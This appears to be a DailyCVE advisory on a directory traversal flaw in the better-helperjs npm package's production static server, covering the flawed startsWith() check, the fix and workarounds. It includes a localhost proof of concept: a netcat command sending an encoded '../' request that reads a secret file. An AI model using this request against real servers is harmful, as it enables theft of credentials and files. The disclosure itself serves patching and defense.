better-helperjs Production Static Server Directory Traversal (CVE-2026-XXXX) -DC-Jun2026-703

Listen to this Post

A directory traversal vulnerability exists in the production static file server of better-helperjs (versions <= 3.0.5). The framework uses a custom static file server engine when running in `NODE_ENV=production` (defined in src/ssr/site-server.ts). Inside the `safeStaticPath()` method, the requested path is validated against the static root directory to prevent traversal outside the designated public folder.

The validation logic relies on `String.prototype.startsWith()`:

const root = path.resolve(rootDir);
const resolved = path.resolve(root, <code>.${decodedPath}</code>);
if (!resolved.startsWith(root)) {
return null;
}

This approach is fundamentally flawed because `startsWith()` evaluates plain strings rather than structural directory paths. Consider an application where `rootDir` is set to /app/dist/client. An attacker attempting to access `/app/dist/client-secrets/database.sqlite` will have the request path successfully pass validation, as the string `”/app/dist/client-secrets/database.sqlite”` begins with "/app/dist/client".
The vulnerability enables attackers to read sensitive files located in any adjacent directory that shares the same string prefix as the intended static root directory, without requiring authentication.

DailyCVE Form

| Field | Value |

|-|-|

| Platform | better-helperjs (npm) |

| Version | <= 3.0.5 |

| Vulnerability | Directory Traversal (CWE-22) |

| Severity | High (7.5 CVSS) |

| Date | 2026-02-23 |

| Prediction | Patch available (3.0.6) |

What Undercode Say: Analytics

Vulnerability Intelligence Summary:

  • CWE ID: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Exploit Maturity: Proof of Concept available
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None

Affected Version Range:

All vulnerable versions
3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5

Fixed Version:


<blockquote>
  = 3.0.6
  

Package Popularity: Limited (~12 downloads/week)

Exploit

Proof of Concept:

To reproduce the vulnerability locally on a vulnerable installation:
Step 1: Build the project and create an adjacent directory simulating sensitive deployment structure

npm run build
mkdir -p dist/client-secrets
echo "EXPOSED_SECRET" > dist/client-secrets/secret.txt

Step 2: Start the application in Production mode

NODE_ENV=production tsx server.ts

Step 3: Send a crafted GET request using netcat or raw sockets

Using netcat to send raw HTTP request with URL-encoded path traversal
printf "GET /%2e%2e%2fclient-secrets/secret.txt HTTP/1.1\r\nHost: localhost:4174\r\nConnection: close\r\n\r\n" | nc localhost 4174

Raw HTTP Request:

GET /%2e%2e%2fclient-secrets/secret.txt HTTP/1.1
Host: localhost:4174
Connection: close

Note: `%2e%2e%2f` is the URL-encoded representation of ../. Standard browsers and HTTP clients that automatically normalize `../` sequences may not trigger this vulnerability—tools like `netcat` or raw socket clients that preserve the encoded path are required.

Step 4: Observe the server response

HTTP/1.1 200 OK
EXPOSED_SECRET

Important Caveat: Developer environment (npm run dev) servers are immune as static requests are handled defensively by Vite’s Dev Middlewares. This vulnerability only triggers upon production starts.

Protection

Remediation / Patches

Upgrade to version 3.0.6 or later, where the path validation has been corrected:

// Enforces separator OR exact root matches preventing prefix extension
if (!resolved.startsWith(root + path.sep) && resolved !== root) {
return null;
}

The fix mandates exact path separation bounds by enforcing `path.sep` onto the evaluated traversal string, preventing prefix-based bypasses.

Workarounds (if immediate upgrade is not possible):

  1. Isolate sensitive directories: Ensure no sensitive directories are deployed adjacent to the static build `client` directory sharing the identical word-prefix string.
  2. Deploy a reverse proxy: Implement path normalization and validation at the reverse proxy level (e.g., nginx, Apache) to block requests containing `%2e%2e%2f` or similar traversal sequences.
  3. Use a WAF: Deploy a Web Application Firewall with rules to detect and block path traversal attempts.

Verification:

Check current version
npm list better-helperjs
Upgrade to patched version
npm install [email protected]

Impact

  • Confidentiality Impact: High — Attackers can read arbitrary files outside the intended static directory, including:
  • Configuration files (e.g., .env, database.yml)
  • Source code
  • Database files (e.g., database.sqlite)
  • SSH keys and credentials
  • Other sensitive deployment artifacts
  • Integrity Impact: None — This vulnerability only permits read access.
  • Availability Impact: None — No denial of service or system disruption.
  • Authentication: Not required — The attack can be performed remotely without credentials.
  • Attack Vector: Network — Exploitable over HTTP/HTTPS.
  • Scope: Unchanged — The vulnerability affects only the vulnerable component.
    Real-World Scenario: If an application’s static root is `/app/dist/client` and a deployment places a `.env` or `database.sqlite` file in /app/dist/client-secrets/, an attacker can read these sensitive files by requesting /%2e%2e%2fclient-secrets/database.sqlite.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top